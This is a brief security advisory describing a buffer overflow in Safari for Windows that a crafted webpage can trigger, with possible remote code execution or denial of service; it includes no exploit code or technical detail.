Safari for Windows is prone to a buffer overflow that occurs when an attacker entices a victim to view a maliciously crafted webpage.

A remote attacker may exploit this issue to execute arbitrary machine code in the context of the affected application. Failed exploit attempts will result in denial-of-service conditions.
